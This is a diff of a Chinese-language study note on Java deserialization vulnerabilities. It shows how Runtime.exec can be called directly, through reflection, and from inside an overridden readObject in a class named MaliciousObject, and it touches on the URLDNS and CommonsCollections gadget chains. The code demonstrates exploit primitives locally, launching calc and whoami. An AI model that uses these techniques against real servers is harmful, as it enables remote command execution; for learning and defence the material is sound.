@@ -189,6 +189,244 @@ public class Main {
189189
190190- 具有继承性,父类可以序列化那么子类同样可以(递归)
191191
192+ ### 为什么会产生安全问题?
193+
194+ 只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。
195+
196+ ** 可能的形式**
197+
198+ 1 . 入口类的readObject直接调用危险方法。
199+
200+ 2 . 入口类参数中包含可控类,该类有危险方法,readObject时调用,比如类型定义为Object,调用equals/hashcode/toString。
201+
202+ 3 . 入口类参数中包含可控类,该类又调用其他有危险方法的类,重点 相同类型 同名函数
203+
204+ 4 . 构造函数/静态代码块等类加载时隐式执行。
205+
206+ - 共同条件 继承Serializable
207+
208+ - 入口类 source(重写readObject 参数类型宽泛 最好jdk自带,最好的例子就是HashMap)
209+
210+ - 调用链 gadget chain
211+
212+ - 执行类 sink (rce ssrf 写文件等等)
213+
214+ ### Java 反序列化执行系统命令
215+
216+ 在Java反序列化漏洞中,最终目标往往是执行系统命令。下面介绍三种执行系统命令的方式:
217+
218+ #### 1. 正常执行系统命令
219+
220+ 最直接的方式是使用` Runtime.getRuntime().exec() ` 方法:
221+
222+ ``` java
223+ import java.io.IOException ;
224+
225+ public class NormalExec {
226+ public static void main (String [] args ) {
227+ try {
228+ // 直接调用Runtime执行命令
229+ Runtime . getRuntime(). exec(" calc" );
230+
231+ // 或者执行更复杂的命令
232+ Process process = Runtime . getRuntime(). exec(" whoami" );
233+
234+ // 读取命令输出
235+ java.io. BufferedReader reader = new java.io. BufferedReader (
236+ new java.io. InputStreamReader (process. getInputStream())
237+ );
238+ String line;
239+ while ((line = reader. readLine()) != null ) {
240+ System . out. println(line);
241+ }
242+ } catch (IOException e) {
243+ e. printStackTrace();
244+ }
245+ }
246+ }
247+ ```
248+
249+ ** 特点:**
250+
251+ - 简单直接,无需额外配置
252+ - 但在实际漏洞利用中,往往无法直接调用` Runtime ` 对象
253+ - ` Runtime ` 类没有实现` Serializable ` 接口,无法被序列化
254+
255+ #### 2. 反射执行系统命令
256+
257+ 使用Java反射机制可以绕过一些限制,动态调用` Runtime ` 类的方法:
258+
259+ ** 方式1:使用` Class.forName() ` 完整的反射调用链**
260+
261+ ``` java
262+ import java.lang.reflect.Method ;
263+
264+ public class ReflectionExec1 {
265+ public static void main (String [] args ) {
266+ try {
267+ // 通过Class.forName获取Runtime类
268+ Class<?> runtimeClass = Class . forName(" java.lang.Runtime" );
269+ // 获取getRuntime方法
270+ Method getRuntimeMethod = runtimeClass. getMethod(" getRuntime" );
271+ // 调用getRuntime方法获取Runtime实例
272+ Object runtime = getRuntimeMethod. invoke(null );
273+ // 获取exec方法
274+ Method execMethod = runtimeClass. getMethod(" exec" , String . class);
275+ // 调用exec方法执行命令
276+ execMethod. invoke(runtime, " calc" );
277+
278+ } catch (Exception e) {
279+ e. printStackTrace();
280+ }
281+ }
282+ }
283+ ```
284+
285+ ** 方式2:使用` Runtime.class ` 直接获取类对象**
286+
287+ ``` java
288+ import java.lang.reflect.Method ;
289+
290+ public class ReflectionExec2 {
291+ public static void main (String [] args ) {
292+ try {
293+ // 直接使用Runtime.class获取类对象
294+ Class<?> runtimeClass = Runtime . class;
295+ // 获取getRuntime方法
296+ Method getRuntimeMethod = runtimeClass. getMethod(" getRuntime" );
297+ // 调用getRuntime方法获取Runtime实例
298+ Runtime runtime = (Runtime ) getRuntimeMethod. invoke(null );
299+ // 获取exec方法
300+ Method execMethod = runtimeClass. getMethod(" exec" , String . class);
301+ // 调用exec方法执行命令
302+ execMethod. invoke(runtime, " calc" );
303+
304+ } catch (Exception e) {
305+ e. printStackTrace();
306+ }
307+ }
308+ }
309+ ```
310+
311+ ** 反射执行的完整链路:**
312+
313+ ```
314+ Runtime.class
315+ → getMethod("getRuntime")
316+ → invoke(null)
317+ → getMethod("exec", String.class)
318+ → invoke(runtime, "calc")
319+ ```
320+
321+ ** 为什么使用Runtime.class而不是Runtime.getRuntime()?**
322+
323+ - ` Runtime.getRuntime() ` 返回的是` java.lang.Runtime ` 对象,无法序列化
324+ - ` Runtime.class ` 返回的是` java.lang.Class ` 对象,实现了` Serializable ` 接口,可以被序列化
325+
326+ #### 3. 反序列化执行系统命令
327+
328+ 在反序列化场景中,通过重写` readObject() ` 方法,在反序列化时自动执行命令:
329+
330+ ``` java
331+ import java.io.* ;
332+ import java.lang.reflect.Method ;
333+
334+ public class DeserializeExec {
335+ public static void main (String [] args ) {
336+ try {
337+ // 第一步:序列化恶意对象到文件
338+ System . out. println(" === 开始序列化 ===" );
339+ MaliciousObject obj = new MaliciousObject (" open -a claculator" );
340+ serialize(obj, " malicious.ser" );
341+ System . out. println(" 对象已序列化到文件: malicious.ser" );
342+
343+ System . out. println(" \n === 开始反序列化 ===" );
344+ // 第二步:从文件中反序列化对象(此时会触发命令执行)
345+ MaliciousObject deserializedObj = (MaliciousObject ) deserialize(" malicious.ser" );
346+ System . out. println(" 对象已反序列化,命令已执行" );
347+ System . out. println(" 对象属性 name: " + deserializedObj. name);
348+
349+ } catch (Exception e) {
350+ e. printStackTrace();
351+ }
352+ }
353+
354+ // 序列化方法:将对象写入文件
355+ public static void serialize (Object obj , String fileName ) throws IOException {
356+ FileOutputStream fos = new FileOutputStream (fileName);
357+ ObjectOutputStream oos = new ObjectOutputStream (fos);
358+ oos. writeObject(obj);
359+ oos. close();
360+ fos. close();
361+ }
362+
363+ // 反序列化方法:从文件中读取对象
364+ public static Object deserialize (String fileName ) throws IOException , ClassNotFoundException {
365+ FileInputStream fis = new FileInputStream (fileName);
366+ ObjectInputStream ois = new ObjectInputStream (fis);
367+ Object obj = ois. readObject();
368+ ois. close();
369+ fis. close();
370+ return obj;
371+ }
372+ }
373+
374+ // 恶意类:必须实现Serializable接口
375+ class MaliciousObject implements Serializable {
376+ private static final long serialVersionUID = 1L ;
377+ public String command; // 改为command,用于指定要执行的命令
378+
379+ public MaliciousObject (String command ) {
380+ this . command = command;
381+ }
382+
383+ private void readObject (ObjectInputStream ois ) throws IOException , ClassNotFoundException {
384+ ois. defaultReadObject();
385+
386+ System . out. println(" readObject方法被调用,开始执行命令: " + command);
387+
388+ try {
389+ Runtime . getRuntime(). exec(command);
390+ System . out. println(" 命令执行成功!" );
391+ } catch (Exception e) {
392+ e. printStackTrace();
393+ }
394+ }
395+ }
396+ ```
397+
398+ ** 关键点:**
399+
400+ 1 . ** 必须实现` Serializable ` 接口** - 这是序列化的前提条件
401+
402+ 2 . ** 重写` readObject() ` 方法** - 使用特定的方法签名:
403+
404+ ``` java
405+ private void readObject(ObjectInputStream ois) throws IOException , ClassNotFoundException
406+ ```
407+
408+ 3 . ** 调用` defaultReadObject() ` ** - 保证对象能正常反序列化:
409+
410+ ``` java
411+ ois. defaultReadObject();
412+ ```
413+
414+ 如果不调用此方法,对象的属性将无法被正确还原
415+
416+ 4 . ** 反序列化自动触发** - 当服务端调用` readObject() ` 反序列化数据时,会自动执行重写的` readObject() ` 方法中的恶意代码
417+
418+ ** 这就是反序列化漏洞的核心原理:**
419+
420+ - 攻击者构造包含恶意` readObject() ` 方法的序列化对象
421+ - 服务端反序列化时自动执行` readObject() ` 中的代码
422+ - 从而实现远程命令执行(RCE)
423+
424+ ** 为什么这样危险?**
425+
426+ - 服务端无法控制` readObject() ` 中执行的代码
427+ - 只要反序列化数据,就会自动执行恶意代码
428+ - 攻击者可以执行任意系统命令,完全控制服务器
429+
192430### Java 反序列化漏洞利用链条分析
193431
194432#### URLDNS 链
@@ -423,7 +661,7 @@ r.exec("calc"); //调用exec
423661new Transformer []{
424662 new ConstantTransformer (Runtime . class), // 返回Runtime类
425663
426- new InvokerTransformer (" getMethod" , // 反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
664+ new InvokerTransformer (" getMethod" , // 反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
427665 new Class []{String . class, class[]. class},
428666 new Object []{" getRuntime" , new Class [0 ]})
429667}
@@ -521,7 +759,7 @@ Object o = declaredConstructor.newInstance(Retention.class, tmap);
521759 }
522760```
523761
524- 核心逻辑就是 `Iterator var4 = this . memberValues. entrySet(). iterator();` 和` var5. setValue(... )`
762+ 核心逻辑就是 `Iterator var4 = this . memberValues. entrySet(). iterator();` 和`var5. setValue(... )`
525763
526764memberValues 就是反序列化后得到的 Map ,也是经过了 TransformedMap 修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用 setValue 设置值的时候就会触发 TransformedMap 里注册的 Transform ,进而执行我们为其精心设计的任意代码。
527765
0 commit comments